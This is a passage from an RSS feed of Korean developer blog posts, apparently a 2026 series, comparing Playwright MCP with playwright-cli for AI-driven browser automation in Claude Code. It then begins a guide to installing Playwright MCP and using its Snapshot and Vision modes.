&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q2. Canvas / WebGL 기반 앱을 조작해야 하는가?&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; padding-left: 20px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; YES: &lt;span style=&quot;background-color: #0066cc; color: white; padding: 2px 10px; border-radius: 10px; font-size: 12px;&quot;&gt;Playwright MCP (Vision 모드)&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 16px 0; padding-left: 20px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; NO: 다음 질문으로&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q3. 네트워크 모킹, 쿠키 관리, 세션 동적 저장이 필요한가?&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; padding-left: 20px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; YES: &lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 10px; border-radius: 10px; font-size: 12px;&quot;&gt;playwright-cli 필수&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 16px 0; padding-left: 20px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; NO: 다음 질문으로&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q4. 반복 작업이 많고 토큰 비용이 중요한가?&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; padding-left: 20px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; YES: &lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 10px; border-radius: 10px; font-size: 12px;&quot;&gt;playwright-cli 권장 (토큰 효율 우위)&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 16px 0; padding-left: 20px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; NO: 다음 질문으로&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q5. 기본적인 탐색 &amp;amp; 스크린샷만 필요한가?&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; padding-left: 20px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; YES: &lt;span style=&quot;background-color: #6c757d; color: white; padding: 2px 10px; border-radius: 10px; font-size: 12px;&quot;&gt;양쪽 모두 가능&lt;/span&gt; &amp;mdash; 이미 MCP 있으면 유지, 없으면 playwright-cli 사용&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;상황별 추천 요약&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef; overflow-x: auto;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: left; border: 1px solid #4a6a8a;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: center; border: 1px solid #4a6a8a;&quot;&gt;추천&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: left; border: 1px solid #4a6a8a;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;E2E 테스트 자동화 (Claude Code)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 10px; font-size: 12px;&quot;&gt;playwright-cli&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;네트워크 모킹, 세션 관리, 구간별 트레이싱 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;웹 스크래핑 반복 작업&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 10px; border-radius: 10px; font-size: 12px;&quot;&gt;playwright-cli&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;토큰 효율 우위, 비용 절감&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;Canvas/WebGL 앱 시각 검증&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: white; padding: 2px 8px; border-radius: 10px; font-size: 12px;&quot;&gt;MCP&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;Vision 모드가 유일한 선택지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;Claude Desktop에서 브라우저 조작&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: white; padding: 2px 8px; border-radius: 10px; font-size: 12px;&quot;&gt;MCP&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;Bash 실행 불가 환경&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;빠른 탐색 &amp;amp; 스크린샷&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #6c757d; color: white; padding: 2px 8px; border-radius: 10px; font-size: 12px;&quot;&gt;둘 다&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;기능 동등, 있는 것 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;CI/CD 파이프라인 통합&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 10px; font-size: 12px;&quot;&gt;playwright-cli&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;별도 MCP 프로세스 관리 불필요, 안정적&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;최종 결론&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;직접 시나리오를 테스트하고 분석한 결과를 종합하면 결론은 명확하다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 20px; margin: 20px 0; border-radius: 0 12px 12px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;추천 전략: &quot;Skills + CLI 조합을 기본으로, MCP는 Vision 모드가 필요할 때 보조 도구로&quot;&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 8px 0 0 0; padding-left: 20px; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Claude Code에서의 대부분의 브라우저 자동화는 &lt;b&gt;playwright-cli Skill + CLI 조합으로 충분하고 더 효율적이다&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;설치는 &lt;code&gt;npm install -g @playwright/cli@latest&lt;/code&gt; 한 번으로 완료된다&lt;/li&gt;
&lt;li&gt;토큰 소모가 상대적으로 적어 비용 효율적이고, 고급 기능(모킹, 세션, 트레이싱)도 Skill의 references 가이드와 함께 제공한다&lt;/li&gt;
&lt;li&gt;프로덕션 E2E 테스트는 &lt;b&gt;playwright-expert Skill&lt;/b&gt;로 POM 패턴 + CI/CD까지 완전 커버된다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Canvas/WebGL 앱, Claude Desktop&lt;/b&gt;을 사용하는 경우에는 MCP의 Vision 모드가 필수다&lt;/li&gt;
&lt;li&gt;세 접근법(MCP, CLI, Skills)은 상호 배타적이지 않다. 상황에 맞게 조합할 수 있다&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;MCP가 죽었다&quot;는 주장이 Playwright에 대해서는 절반만 사실이다. &lt;b&gt;기능 수와 토큰 효율에서는 playwright-cli가 압도적이고, Skills 조합으로 지능적인 워크플로우까지 구성할 수 있다. 다만 Vision 모드라는 고유하고 대체 불가능한 가치를 MCP는 여전히 보유하고 있다.&lt;/b&gt; 도구는 목적에 맞게 선택하는 것이 최선이다.&lt;/p&gt;
&lt;!-- 9. 참고 자료 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;11. 참고 자료&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; border: 1px solid #e9ecef; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;공식 문서&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 20px 0; padding-left: 20px; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/microsoft/playwright-mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;microsoft/playwright-mcp &amp;mdash; GitHub (공식 MCP 서버)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/microsoft/playwright-cli&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;microsoft/playwright-cli &amp;mdash; GitHub (에이전트용 CLI)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://playwright.dev/docs/test-cli&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Playwright Test CLI 공식 문서 &amp;mdash; playwright.dev (npx playwright codegen 등)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude Code 내장 Skills&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 20px 0; padding-left: 20px; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;playwright-cli&lt;/code&gt; Skill &amp;mdash; Bash(playwright-cli:*) 기반, snapshot 상호작용 + references 가이드 내장&lt;/li&gt;
&lt;li&gt;&lt;code&gt;playwright-expert&lt;/code&gt; Skill &amp;mdash; TypeScript POM 패턴, Fixtures, CI/CD 통합 전문가&lt;/li&gt;
&lt;li&gt;&lt;code&gt;browser-automation&lt;/code&gt; Skill &amp;mdash; 패턴 가이드 &amp;amp; 안티패턴 탐지, 도구 선택 기준&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이 시리즈 관련 글&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://goddaehee.tistory.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Playwright MCP 2026년 설치 및 활용 가이드 (이 시리즈)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://goddaehee.tistory.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2026년 쓸만한 MCP 시리즈 &amp;mdash; 개발자편&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/MCP(2026) vs CLI</category>
      <category>mcp vs cli</category>
      <category>Playwright cli</category>
      <category>Playwright cli 문법</category>
      <category>Playwright cli 사용 방법</category>
      <category>playwright mcp</category>
      <category>Playwright mcp vs cli</category>
      <category>Playwright skills</category>
      <category>Playwright 사용예시</category>
      <category>Playwright 예시</category>
      <category>Playwright-cli</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/539</guid>
      <comments>https://goddaehee.tistory.com/539#entry539comment</comments>
      <pubDate>Fri, 6 Mar 2026 19:30:54 +0900</pubDate>
    </item>
    <item>
      <title>개발자를 위한 MCP 추천(3-1) - Playwright MCP 설치 및 사용방법 : 자연어로 브라우저를 조종한다, 코드 없이 웹 자동화</title>
      <link>https://goddaehee.tistory.com/538</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;!-- ✦ 2026년 시리즈 도입부 ✦ --&gt;
&lt;div style=&quot;background: linear-gradient(135deg, #1a3a52 0%, #0066cc 100%); padding: 28px 30px; border-radius: 16px; margin-bottom: 10px; color: white;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0; font-size: 12px; opacity: 0.75; letter-spacing: 1.5px; font-weight: 600; text-transform: uppercase;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 3월 &amp;middot; 개발자를 위한 MCP 추천 시리즈&lt;/p&gt;
&lt;h2 style=&quot;margin: 0 0 14px 0; font-size: 22px; font-weight: 800; line-height: 1.4; color: white;&quot; data-ke-size=&quot;size26&quot;&gt;&quot;MCP가 죽었다&quot;말도 나오는데, 그래도 현시점 쓸만한 MCP 10개&lt;/h2&gt;
&lt;p style=&quot;margin: 0; font-size: 15px; line-height: 1.8; opacity: 0.92;&quot; data-ke-size=&quot;size16&quot;&gt;2025년에 썼던 개발자용 MCP 시리즈들이, 이제 상당 부분 구버전이 됐다. &lt;br /&gt;생태계가 빠르게 변했고, 새로 등장한 도구들도 많다. &lt;br /&gt;2026년 3월, 다시 한번 실제로 써보고 쓸 만한 것들만 골라 정리해려고 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; border: 1px solid #cce5ff; border-left: 5px solid #0066cc; padding: 20px 24px; border-radius: 0 12px 12px 0; margin-bottom: 10px; font-size: 15px; line-height: 1.9;&quot;&gt;&lt;b&gt;이 시리즈를 다시 쓰는 이유&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;지난 2월 말, &lt;a href=&quot;https://goddaehee.tistory.com/535&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&quot;MCP는 죽었다, CLI 만세 &amp;mdash; Eric Holmes의 도발적 주장&quot;&lt;/a&gt;이라는 글을 정리한 적이 있다. Eric Holmes가 주장한 핵심은 간단하다. &lt;b&gt;LLM은 이미 CLI에 능숙하다. 그렇다면 MCP라는 별도의 추상 계층이 굳이 필요한가?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;실제로 Claude Code 환경에서 MCP 대신 &lt;b&gt;CLI&lt;/b&gt;로 해결되는 경우가 꽤 많다. 디버깅도 쉽고, 별도 프로세스 관리도 없고, 기존 인증도 그대로 쓸 수 있다. 그 글에서 공감하신 분들이 많았다.&lt;br /&gt;&lt;b&gt;그럼에도 불구하고, MCP만이 줄 수 있는 가치가 분명히 존재한다.&lt;/b&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;오늘은 개발자를 위한 MCP 시리즈를 계속 이어나가려 한다. 이번에는 &lt;b&gt;Playwright MCP&lt;/b&gt;의 2026년 최신 설치 및 활용법을 정리해보겠다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2418&quot; data-origin-height=&quot;1618&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bujYHT/dJMcaaLcVaZ/TJu7CsrtWbeqJ7ardPKfRK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bujYHT/dJMcaaLcVaZ/TJu7CsrtWbeqJ7ardPKfRK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bujYHT/dJMcaaLcVaZ/TJu7CsrtWbeqJ7ardPKfRK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbujYHT%2FdJMcaaLcVaZ%2FTJu7CsrtWbeqJ7ardPKfRK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2418&quot; height=&quot;1618&quot; data-origin-width=&quot;2418&quot; data-origin-height=&quot;1618&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 요약 callout --&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;Playwright MCP 핵심 정리&lt;/b&gt;&lt;br /&gt;Playwright MCP는 Claude 같은 LLM이 자연어 명령으로 실제 브라우저를 직접 제어할 수 있게 해주는 도구다. 스크린샷 대신 접근성 트리(Accessibility Tree)를 활용하여 빠르고 정확하게 웹을 자동화한다. Microsoft가 공식 제공하는 &lt;code&gt;@playwright/mcp&lt;/code&gt; 패키지와 커뮤니티 패키지인 &lt;code&gt;@executeautomation/playwright-mcp-server&lt;/code&gt; 두 가지가 주로 쓰인다.&lt;/div&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Playwright MCP란?&lt;/li&gt;
&lt;li&gt;설치 방법 (Claude Code / Claude Desktop)&lt;/li&gt;
&lt;li&gt;주요 Tools 소개&lt;/li&gt;
&lt;li&gt;활용 예시&lt;/li&gt;
&lt;li&gt;CLI 직접 사용과의 비교&lt;/li&gt;
&lt;li&gt;주의사항 및 트러블슈팅&lt;/li&gt;
&lt;li&gt;개발자 커뮤니티 반응&lt;/li&gt;
&lt;li&gt;결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 1. 개요 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Playwright MCP란?&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Playwright는 Microsoft가 만든 브라우저 자동화 라이브러리다. 기존에는 개발자가 직접 JavaScript/TypeScript 코드를 작성해 브라우저를 제어했다면, &lt;b&gt;Playwright MCP&lt;/b&gt;는 Claude 같은 AI 모델이 자연어 명령으로 Playwright를 직접 조작할 수 있게 해주는 MCP 서버다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;예를 들어 &quot;GitHub에 접속해서 내 레포지토리 목록을 확인해줘&quot;라고 말하면, Claude가 실제로 브라우저를 열고 해당 작업을 수행한다. 테스트 자동화, 데이터 수집, UI 검증 등 반복 작업을 자연어 한 문장으로 처리할 수 있는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;접근성 트리(Accessibility Tree) 기반 동작 방식&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Playwright MCP의 핵심 특징은 &lt;b&gt;스크린샷이 아닌 접근성 트리를 통해 페이지를 이해&lt;/b&gt;한다는 점이다. 접근성 트리는 웹 페이지의 구조적 정보(버튼, 링크, 입력창 등)를 텍스트 형태로 표현한 것으로, LLM이 이를 읽어 어떤 요소를 클릭하거나 입력해야 하는지 판단한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;왜 접근성 트리인가?&lt;/b&gt;&lt;br /&gt;스크린샷 기반 방식은 이미지를 분석해야 해서 느리고 토큰 소모가 크다. 접근성 트리 방식은 구조화된 텍스트를 바로 처리하므로 훨씬 빠르고 정확하다. 시각적으로 숨겨진 요소나 동적으로 생성된 콘텐츠도 정확히 파악할 수 있다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Snapshot 모드 vs Vision 모드&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Playwright MCP는 두 가지 동작 모드를 제공한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #0066cc; color: white;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #dee2e6;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #dee2e6;&quot;&gt;Snapshot 모드 (기본)&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #dee2e6;&quot;&gt;Vision 모드&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;동작 방식&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;접근성 트리 분석&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;스크린샷 + X/Y 좌표&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;속도&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;빠름&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;느림&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;토큰 소모&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;적음&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;많음 (이미지 포함)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;적합한 모델&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;일반 LLM&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;멀티모달 모델&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;Canvas/복잡한 UI&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;제한적&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;적합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;활성화 방법&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;기본값 (별도 설정 불필요)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;--caps vision&lt;/code&gt; 플래그 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Vision 모드를 활성화하려면 &lt;code&gt;--caps vision&lt;/code&gt; 플래그를 사용한다. &lt;code&gt;--vision&lt;/code&gt; 플래그는 존재하지 않으니 주의가 필요하다. (출처: &lt;a href=&quot;https://github.com/microsoft/playwright-mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;microsoft/playwright-mcp GitHub&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; border: 1px solid #333; margin: 20px 0;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;# Vision 모드 활성화 예시&lt;/div&gt;
&lt;pre class=&quot;css&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;npx @playwright/mcp@latest --caps vision&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;대부분의 경우 기본값인 Snapshot 모드로 충분하다. Canvas 기반 앱이나 시각적 판단이 필요한 경우에만 Vision 모드를 고려하면 된다.&lt;/p&gt;
&lt;!-- 2. 설치 방법 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 설치 방법&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 기준으로 Playwright MCP를 설치하는 방법은 크게 세 가지다. Microsoft 공식 패키지인 &lt;code&gt;@playwright/mcp&lt;/code&gt;를 기준으로 설명한다. (출처: &lt;a href=&quot;https://github.com/microsoft/playwright-mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;microsoft/playwright-mcp GitHub&lt;/a&gt;, &lt;a href=&quot;https://til.simonwillison.net/claude-code/playwright-mcp-claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Simon Willison's TIL&lt;/a&gt;)&lt;/p&gt;
